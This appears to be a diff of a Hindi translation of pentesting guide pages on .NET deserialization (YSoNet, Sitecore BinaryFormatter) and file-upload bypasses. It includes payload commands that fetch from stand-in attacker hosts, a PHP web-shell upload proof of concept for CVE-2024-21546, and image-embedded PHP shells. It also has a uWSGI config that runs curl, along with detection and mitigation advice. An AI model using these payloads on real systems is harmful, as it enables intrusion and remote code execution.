| **ObjectDataProvider** (review) | WPF `System.Windows.Data.ObjectDataProvider` का उपयोग करके नियंत्रित arguments के साथ किसी arbitrary static method को कॉल करता है। YSoNet एक सुविधाजनक `--xamlurl` विकल्प जोड़ता है ताकि malicious XAML को रिमोटली host किया जा सके | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | `ScriptBlock` को `System.Management.Automation.PSObject` में embed करता है जो PowerShell द्वारा object को deserialize करने पर execute होता है | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> डिफ़ॉल्ट रूप से सभी payloads **stdout पर लिखे जाते हैं**, जिससे उन्हें अन्य tooling (उदा. ViewState generators, base64 encoders, HTTP clients) में pipe करना trivial हो जाता है।
|
||||
> सभी payloads डिफ़ॉल्ट रूप से **stdout पर लिखे जाते हैं**, जिससे इन्हें अन्य tooling (उदा. ViewState generators, base64 encoders, HTTP clients) में pipe करना आसान हो जाता है।
|
||||
|
||||
### YSoNet बनाना / इंस्टॉल करना
|
||||
### Building / Installing YSoNet
|
||||
|
||||
यदि *Actions ➜ Artifacts* / *Releases* के अंतर्गत कोई pre-compiled binaries उपलब्ध नहीं हैं, तो निम्न **PowerShell** one-liner एक build environment सेट करेगा, repository को clone करेगा और सब कुछ *Release* mode में compile करेगा:
|
||||
यदि *Actions ➜ Artifacts* / *Releases* के तहत कोई pre-compiled binaries उपलब्ध नहीं हैं, तो निम्न **PowerShell** one-liner build पर्यावरण सेटअप करेगा, repository clone करेगा और सब कुछ *Release* मोड में compile करेगा:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -219,17 +217,17 @@ msbuild ysonet.sln -p:Configuration=Release
|
||||
The compiled `ysonet.exe` can then be found under `ysonet/bin/Release/`.
|
||||
|
||||
### डिटेक्शन और हार्डनिंग
|
||||
* **पता लगाएँ** `w3wp.exe`, `PowerShell.exe` के अनपेक्षित child processes, या किसी भी प्रोसेस का जो उपयोगकर्ता-प्रदान किए गए डेटा को deserialising कर रहा हो (जैसे `MessagePack`, `Json.NET`)।
|
||||
* सक्षम करें और **type-filtering लागू/अनिवार्य करें** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) जब भी legacy `BinaryFormatter` / `NetDataContractSerializer` हटाया न जा सके।
|
||||
* जहाँ संभव हो, **`System.Text.Json`** या **`DataContractJsonSerializer`** पर स्थानांतरित करें, whitelist-आधारित converters के साथ।
|
||||
* उन वेब प्रक्रियाओं में जिन्हें कभी आवश्यकता नहीं हो, खतरनाक WPF assemblies (`PresentationFramework`, `System.Workflow.*`) को लोड होने से रोकें।
|
||||
* **पता लगाएँ** अनपेक्षित चाइल्ड प्रोसेस के कि `w3wp.exe`, `PowerShell.exe`, या कोई भी प्रोसेस जो उपयोगकर्ता द्वारा दिए गए डेटा को deserialize कर रहा हो (जैसे `MessagePack`, `Json.NET`)।
|
||||
* जहाँ संभव हो `type-filtering` को सक्षम और लागू करें (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) जब भी पुराने `BinaryFormatter` / `NetDataContractSerializer` को हटाया नहीं जा सके।
|
||||
* जहाँ संभव हो **`System.Text.Json`** या **`DataContractJsonSerializer`** में व्हाइटलिस्ट-आधारित converters के साथ स्थानांतरित करें।
|
||||
* उन वेब प्रोसेसों में खतरनाक WPF assemblies (`PresentationFramework`, `System.Workflow.*`) के लोड होने को ब्लॉक करें जिन्हें इनकी ज़रूरत नहीं होनी चाहिए।
|
||||
|
||||
## वास्तविक दुनिया का sink: Sitecore convertToRuntimeHtml → BinaryFormatter
|
||||
|
||||
एक व्यवहारिक .NET sink जो प्रमाणीकृत Sitecore XP Content Editor प्रवाहों में पहुँच योग्य है:
|
||||
एक व्यावहारिक .NET sink जो प्रमाणीकृत Sitecore XP Content Editor फ्लो में पहुँचा जा सकता है:
|
||||
|
||||
- Sink API: `Sitecore.Convert.Base64ToObject(string)` `new BinaryFormatter().Deserialize(...)` को wrap करता है।
|
||||
- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, जो एक sibling element खोजता है जिसका `id="{iframeId}_inner"` है और `value` attribute पढ़ता है जिसे base64‐encoded serialized data के रूप में माना जाता है। परिणाम को string में cast किया जाता है और HTML में insert किया जाता है।
|
||||
- Sink API: `Sitecore.Convert.Base64ToObject(string)` रैप करता है `new BinaryFormatter().Deserialize(...)`।
|
||||
- Trigger path: pipeline `convertToRuntimeHtml` → `ConvertWebControls`, जो एक सिबलिंग तत्व खोजता है जिसका `id="{iframeId}_inner"` होता है और एक `value` attribute पढ़ता है जिसे base64‑encoded serialized data माना जाता है। परिणाम को string में cast किया जाता है और HTML में insert किया जाता है।
|
||||
|
||||
Minimal end‑to‑end (authenticated):
|
||||
```
|
||||
@ -248,7 +246,7 @@ GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.Fix
|
||||
```
|
||||
- Gadget: कोई भी BinaryFormatter chain जो string लौटाता है (side‑effects deserialization के दौरान चलते हैं). See YSoNet/ysoserial.net to generate payloads.
|
||||
|
||||
एक पूरा chain जो pre‑auth से शुरू होकर Sitecore में HTML cache poisoning के माध्यम से इस sink तक पहुँचता है:
|
||||
For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/sitecore/README.md
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## फ़ाइल अपलोड सामान्य कार्यप्रणाली
|
||||
|
||||
अन्य उपयोगी extensions:
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
@ -15,13 +15,13 @@
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### फ़ाइल एक्सटेंशन चेक बायपास करना
|
||||
### Bypass file extensions checks
|
||||
|
||||
1. यदि वे लागू हों, तो **पहले बताए गए extensions** की **जाँच** करें। उन्हें कुछ **uppercase letters** के साथ भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _एक्जीक्यूशन एक्सटेंशन से पहले एक वैध एक्सटेंशन जोड़ने की जाँच करें (पहले बताए गए extensions का भी उपयोग करें):_
|
||||
1. अगर लागू हो, तो **पहले बताई गई extensions** की **जाँच** करें। साथ ही कुछ **uppercase letters** के साथ भी टेस्ट करें: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. अंत में **विशेष कैरेक्टर** जोड़ने की कोशिश करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** कैरेक्टर **bruteforce** कर सकते हैं। (_ध्यान दें कि आप पहले बताए गए **extensions** का भी उपयोग कर सकते हैं_)
|
||||
3. अंत में **special characters** जोड़कर भी कोशिश करें। आप Burp का उपयोग करके सभी **ascii** और **Unicode** characters को **bruteforce** कर सकते हैं। (_Note that you can also try to use the **previously** motioned **extensions**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. सर्वर-साइड के एक्सटेंशन पार्सर को फँसाकर सुरक्षा को बाइपास करने की कोशिश करें, जैसे **doubling** the **extension** या एक्सटेंशन्स के बीच **junk** डेटा (जैसे **null** बाइट्स) जोड़ना। _आप बेहतर payload तैयार करने के लिए **previous extensions** का भी उपयोग कर सकते हैं._
|
||||
4. सर्वर-साइड के extension parser को धोखा देकर protections को बाईपास करने की कोशिश करें, जैसे कि **doubling** the **extension** या extensions के बीच **junk data** (**null** bytes) डालना। _You can also use the **previous extensions** to prepare a better payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,13 +40,13 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. पिछली जाँच में **एक और लेयर** extensions जोड़ें:
|
||||
5. पिछले चेक में **एक और लेयर** जोड़ें:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. वैध एक्सटेंशन से पहले **exec extension** रखने की कोशिश करें और आशा करें कि server misconfigured हो। (Apache misconfigurations को exploit करने में उपयोगी जहाँ किसी भी फाइल जिसका extension `.php` है, पर जरूरी नहीं कि वह `.php` पर खत्म हो, code execute हो जाएगा):
|
||||
6. कोशिश करें कि **exec extension को valid extension से पहले रख दें** और उम्मीद करें कि सर्वर misconfigured हो। (Apache misconfigurations को exploit करने में उपयोगी जहाँ किसी भी चीज़ का extension **.php** है पर जरूरी नहीं कि filename `.php` पर खत्म हो — तब code execute हो सकता है):
|
||||
- _ex: file.php.png_
|
||||
7. **NTFS alternate data stream (ADS)** का उपयोग **Windows** में। इस स्थिति में, एक colon character ":" निषिद्ध extension के बाद और अनुमति प्राप्त एक extension के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर एक **खाली फ़ाइल जिसपर निषिद्ध extension होगा** बन जाएगी (उदा. "file.asax:.jpg”). इस फ़ाइल को बाद में अन्य तकनीकों के जरिए संपादित किया जा सकता है जैसे कि इसका short filename उपयोग करना। पैटर्न "**::$data**” का उपयोग non-empty फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक dot character जोड़ना भी आगे की प्रतिबंधों को बायपास करने में उपयोगी हो सकता है (उदा. "file.asp::$data.”)
|
||||
8. फ़ाइलनाम की सीमाएँ तोड़ने की कोशिश करें। वैध extension कट जाता है और malicious PHP बच जाता है। AAA<--SNIP-->AAA.php
|
||||
7. **Windows** में **NTFS alternate data stream (ADS)** का उपयोग करें। इस केस में, forbidden extension के बाद और permitted extension से पहले colon character ":" डाला जाएगा। परिणामस्वरूप, सर्वर पर एक **empty file with the forbidden extension** बन सकती है (उदा. "file.asax:.jpg”). बाद में इस फ़ाइल को अन्य techniques से edit किया जा सकता है जैसे कि उसकी short filename का उपयोग करके। "**::$data**” pattern का उपयोग non-empty files बनाने के लिए भी किया जा सकता है। इसलिए, इस pattern के बाद dot character जोड़ना आगे की restrictions बाईपास करने में उपयोगी हो सकता है (उदा. "file.asp::$data.”)
|
||||
8. filename limits तोड़कर देखें। valid extension कट जाती है और malicious PHP बच जाता है। AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
कुछ upload handlers सेव किए गए filename से trailing dot characters को trim या normalize कर देते हैं। UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) के 2.9.1 से पहले के संस्करणों में, आप extension validation को निम्न तरीकों से बायपास कर सकते हैं:
|
||||
कुछ upload handlers saved filename से trailing dot characters को trim या normalize कर देते हैं। UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) के versions 2.9.1 से पहले, आप extension validation को बाईपास कर सकते हैं:
|
||||
|
||||
- एक वैध image MIME और magic header का उपयोग करें (उदा., PNG का `\x89PNG\r\n\x1a\n`).
|
||||
- अपलोड की गई फ़ाइल का नाम PHP extension के बाद एक dot लगाकर दें, उदाहरण के लिए `shell.php.`.
|
||||
- सर्वर trailing dot को हटा देता है और `shell.php` को persist करता है, जो execute होगा यदि यह किसी web-served directory में रखा गया हो (डिफ़ॉल्ट public storage जैसे `/storage/files/`).
|
||||
- एक वैध image MIME और magic header का उपयोग करना (उदा., PNG का `\x89PNG\r\n\x1a\n`)।
|
||||
- अपलोड की गई फ़ाइल का नाम PHP extension के बाद एक dot के साथ रखना, जैसे `shell.php.`।
|
||||
- सर्वर trailing dot को हटा देता है और `shell.php` को persist कर देता है, जो कि web-served directory (default public storage जैसे `/storage/files/`) में रखा गया हो तो execute हो सकता है।
|
||||
|
||||
न्यूनतम PoC (Burp Repeater):
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
@ -80,65 +80,65 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
फिर saved path पर हिट करें (Laravel + LFM में सामान्य):
|
||||
फिर saved path को हिट करें (Laravel + LFM में सामान्य):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
रोकथाम:
|
||||
- unisharp/laravel-filemanager को ≥ 2.9.1 में अपडेट करें।
|
||||
- सख्त server-side allowlists लागू करें और persisted filename को पुनः मान्य (re-validate) करें।
|
||||
- uploads को non-executable स्थानों से सर्व करें।
|
||||
Mitigations:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- Enforce strict server-side allowlists and re-validate the persisted filename.
|
||||
- Serve uploads from non-executable locations.
|
||||
|
||||
### Content-Type, Magic Number, Compression & Resizing को बायपास करना
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- **Content-Type** checks को बायपास करने के लिए **Content-Type** **header** के **value** को सेट करें: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **magic number** check को बायपास करने के लिए फाइल की शुरुआत में एक वास्तविक image के **bytes** जोड़ें (फाइल कमांड _file_ को confuse करने के लिए)। या shell को **metadata** के अंदर डालें:\
|
||||
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` या आप payload को सीधे किसी image में भी डाल सकते हैं:\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- यदि आपकी image पर **compressions** जोड़ी जा रही है, उदाहरण के लिए PHP-GD जैसी मानक PHP लाइब्रेरी का उपयोग करते हुए, तो पिछले techniques उपयोगी नहीं होंगे। हालांकि, आप **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर कुछ टेक्स्ट insert कर सकते हैं जो **compression से बच जाए**।
|
||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- वेब पेज image को **resizing** भी कर सकता है, उदाहरण के लिए PHP-GD की `imagecopyresized` या `imagecopyresampled` फंक्शन्स का उपयोग करके। हालांकि, आप **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर टेक्स्ट insert कर सकते हैं जो **compression से बच जाए**।
|
||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- एक और तकनीक है जिससे payload **image resizing** के बाद भी बच सकता है, जो PHP-GD के `thumbnailImage` फंक्शन का उपयोग करता है। हालांकि, आप **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग कर ऐसा टेक्स्ट insert कर सकते हैं जो **compression से बच जाए**।
|
||||
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### अन्य जांचने योग्य तरकीबें
|
||||
### Other Tricks to check
|
||||
|
||||
- पहले से अपलोड की गई फाइल का **rename** करने वाली कोई vulnerability खोजें (extension बदलने के लिए)।
|
||||
- backdoor execute करने के लिए कोई **Local File Inclusion** vulnerability खोजें।
|
||||
- **संभावित सूचना-प्रकटीकरण**:
|
||||
1. एक ही फाइल को **कई बार** (और एक ही समय में) **उसी नाम** के साथ upload करें।
|
||||
2. ऐसी फाइल upload करें जिसका **name** किसी पहले से मौजूद **file** या **folder** जैसा हो।
|
||||
3. ऐसी फाइल upload करना जिसका नाम **"."**, ".." या "..." जैसा हो। उदाहरण के लिए, Apache में **Windows** पर यदि एप्लिकेशन "/www/uploads/" डायरेक्टरी में अपलोड फ़ाइलें सेव करता है, तो "." नाम वाली फ़ाइल "/www/" डायरेक्टरी में "uploads" नाम की फ़ाइल बना देगी।
|
||||
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से delete नहीं किया जा सके, जैसे **"…:.jpg"** NTFS में। (Windows)
|
||||
5. **Windows** में नाम में अवैध characters जैसे `|<>*?”` के साथ फाइल अपलोड करें। (Windows)
|
||||
6. **Windows** में reserved (forbidden) names जैसे CON, PRN, AUX, NUL, COM1 … COM9, LPT1 … LPT9 आदि के साथ फाइल अपलोड करने की कोशिश करें।
|
||||
- यह भी आज़माएँ कि कोई **executable** (.exe) या कोई **.html** (कम संदिग्ध) अपलोड करें जो victim द्वारा गलती से खोले जाने पर कोड execute कर दे।
|
||||
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
|
||||
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||||
- **Possible Information disclosure**:
|
||||
1. एक ही फाइल को **कई बार** (और एक ही समय पर) एक ही **नाम** से upload करें
|
||||
2. ऐसी फाइल upload करें जिसका **name** किसी पहले से मौजूद **file** या **folder** जैसा हो
|
||||
3. फाइल का नाम **".", "..", या "..."** रखें। उदाहरण के लिए, Apache में **Windows** पर, यदि application अपलोड की गई फाइलों को "/www/uploads/" directory में सेव करता है, तो "." filename "/www/" directory में "uploads" नाम की एक फाइल बना देगा।
|
||||
4. ऐसी फाइल upload करें जिसे आसानी से delete न किया जा सके जैसे **"...:.jpg"** in **NTFS**. (Windows)
|
||||
5. **Windows** में ऐसे invalid characters वाले नाम से फाइल upload करें जैसे `|<>*?”`। (Windows)
|
||||
6. **Windows** में reserved (forbidden) नामों का इस्तेमाल करके फाइल upload करें जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
|
||||
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
यदि आप **PHP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, तो [कोड execute करने के लिए **.htaccess** trick देखें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
यदि आप **ASP server** पर फाइलें अपलोड करने की कोशिश कर रहे हैं, तो [कोड execute करने के लिए **.config** trick देखें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` फाइलें java के `.jar` की तरह होती हैं, पर php के लिए, और इन्हें php फ़ाइल की तरह उपयोग किया जा सकता है (php से execute करना, या किसी स्क्रिप्ट में include करना...)।
|
||||
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
|
||||
|
||||
`.inc` extension कभी-कभार php फाइलों के लिए उपयोग किया जाता है जो केवल import करने के लिए होते हैं, इसलिए किसी समय किसी ने इस extension को execute होने की अनुमति दे दी हो सकती है।
|
||||
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
यदि आप Jetty server में XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**।** जैसा कि नीचे image में दिखाया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और shell की उम्मीद रखें!
|
||||
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
इस vulnerability के विस्तृत विश्लेषण के लिए मूल रिसर्च देखें: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Remote Command Execution (RCE) vulnerabilities का उपयोग uWSGI servers में तब किया जा सकता है जब किसी के पास `.ini` configuration file को modify करने की क्षमता हो। uWSGI configuration files एक विशेष syntax का उपयोग करते हैं जो "magic" variables, placeholders, और operators को शामिल करने की अनुमति देता है। विशेष रूप से, '@' operator, जिसे `@(filename)` के रूप में उपयोग किया जाता है, किसी फ़ाइल की सामग्री को include करने के लिए design किया गया है। uWSGI में समर्थित विभिन्न schemes में "exec" scheme काफी शक्तिशाली है, जो किसी process के standard output से डेटा पढ़ने की अनुमति देता है। जब `.ini` configuration file प्रोसेस की जाती है तो इस फीचर का दुरुपयोग Remote Command Execution या Arbitrary File Write/Read जैसे दुष्प्रयोगों के लिए किया जा सकता है।
|
||||
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
|
||||
|
||||
निम्नलिखित हानिकारक `uwsgi.ini` फ़ाइल के उदाहरण पर विचार करें, जो विभिन्न schemes दिखाती है:
|
||||
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -156,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
पेलोड का execution configuration file की parsing के दौरान होता है। Configuration को सक्रिय और पार्स होने के लिए, uWSGI प्रक्रिया को या तो restart किया जाना चाहिए (संभवतः crash के बाद या Denial of Service attack के कारण) या फ़ाइल को auto-reload पर सेट करना होगा। यदि auto-reload सक्षम है, तो यह परिवर्तन मिलने पर निर्दिष्ट अंतरालों पर फ़ाइल को reload कर देता है।
|
||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
||||
|
||||
यह समझना महत्वपूर्ण है कि uWSGI की configuration file parsing कितनी lax है। विशेष रूप से, यहां चर्चा किया गया payload एक binary फ़ाइल (जैसे image या PDF) में डाला जा सकता है, जिससे संभावित exploitation का दायरा और बढ़ जाता है।
|
||||
यह समझना ज़रूरी है कि uWSGI की configuration file parsing काफी lax है। विशेष रूप से, चर्चा किया गया payload किसी binary file (जैसे image या PDF) में insert किया जा सकता है, जो संभावित exploitation की रेंज को और बढ़ा देता है।
|
||||
|
||||
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
|
||||
## **wget File Upload/SSRF ट्रिक**
|
||||
|
||||
कभी-कभी आपको पता चलेगा कि एक server **`wget`** का उपयोग करके **फ़ाइलें डाउनलोड** कर रहा है और आप **URL** निर्दिष्ट कर सकते हैं। ऐसे मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का extension एक whitelist के अंदर है ताकि केवल अनुमति प्राप्त फ़ाइलें ही डाउनलोड हों। हालाँकि, **यह जांच bypass की जा सकती है।**
|
||||
|
||||
The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **"A"\*232+".php"+".gif" नाम की फ़ाइल डाउनलोड कर सकते हैं**, यह फ़ाइलनाम उस **check** को **bypass** कर देगा (जैसा कि इस उदाहरण में **".gif"** एक **valid** extension है) पर `wget` फ़ाइल का **rename** करके उसे **"A"\*232+".php"** बना देगा।
|
||||
कभी-कभी आप पाएंगे कि server **`wget`** का उपयोग **download files** करने के लिए कर रहा है और आप **URL** indicate कर सकते हैं। ऐसे मामलों में, कोड यह जाँच कर सकता है कि downloaded files के extension एक whitelist में हैं ताकि केवल allowed files ही download हों। हालाँकि, **इस check को bypass किया जा सकता है.**\
|
||||
Linux में एक **filename** की **maximum** length **255** है, हालांकि **wget** filenames को **236** characters तक truncate कर देता है। आप **download a file called "A"\*232+".php"+".gif"** कर सकते हैं, यह filename **check** को **bypass** कर देगा (जैसा कि इस उदाहरण में **".gif"** एक **valid** extension है) लेकिन `wget` फ़ाइल का **rename** कर देगा और इसे **"A"\*232+".php"** नाम दे देगा।
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -189,31 +188,31 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
```
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
## Tools
|
||||
## टूल्स
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली टूल है जो Pentesters और Bug Hunters को file upload mechanisms का परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न bug bounty तकनीकों का उपयोग करके कमजोरियों की पहचान और exploit करने की प्रक्रिया को सरल बनाता है, जिससे web applications का thorough assessment सुनिश्चित होता है।
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) एक शक्तिशाली टूल है जो Pentesters और Bug Hunters को file upload mechanisms की परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न bug bounty techniques का उपयोग करके vulnerabilities की पहचान और exploit करने की प्रक्रिया को सरल बनाता है, जिससे web applications का thorough assessment सुनिश्चित होता है।
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
कुछ पुरानी upload handlers जो `snprintf()` या इसी तरह के तरीकों का उपयोग करके single-file upload से multi-file arrays बनाती हैं, उन्हें `_FILES` संरचना को गलती से forge करने के लिए trick किया जा सकता है। `snprintf()` के व्यवहार में असंगतताओं और truncation के कारण, सावधानीपूर्वक बनाए गए एक single upload को सर्वर साइड पर multiple indexed files के रूप में दिखाई दे सकता है, जिससे वह लॉजिक भ्रमित हो सकता है जो एक सख्त आकार मानता है (उदाहरण के लिए, इसे multi-file upload मानकर unsafe ब्रांच पकड़ लेना)। आजकल यह पैटर्न niche है, पर यह कभी-कभी CTFs और पुराने कोडबेस में फिर से उभरता है।
|
||||
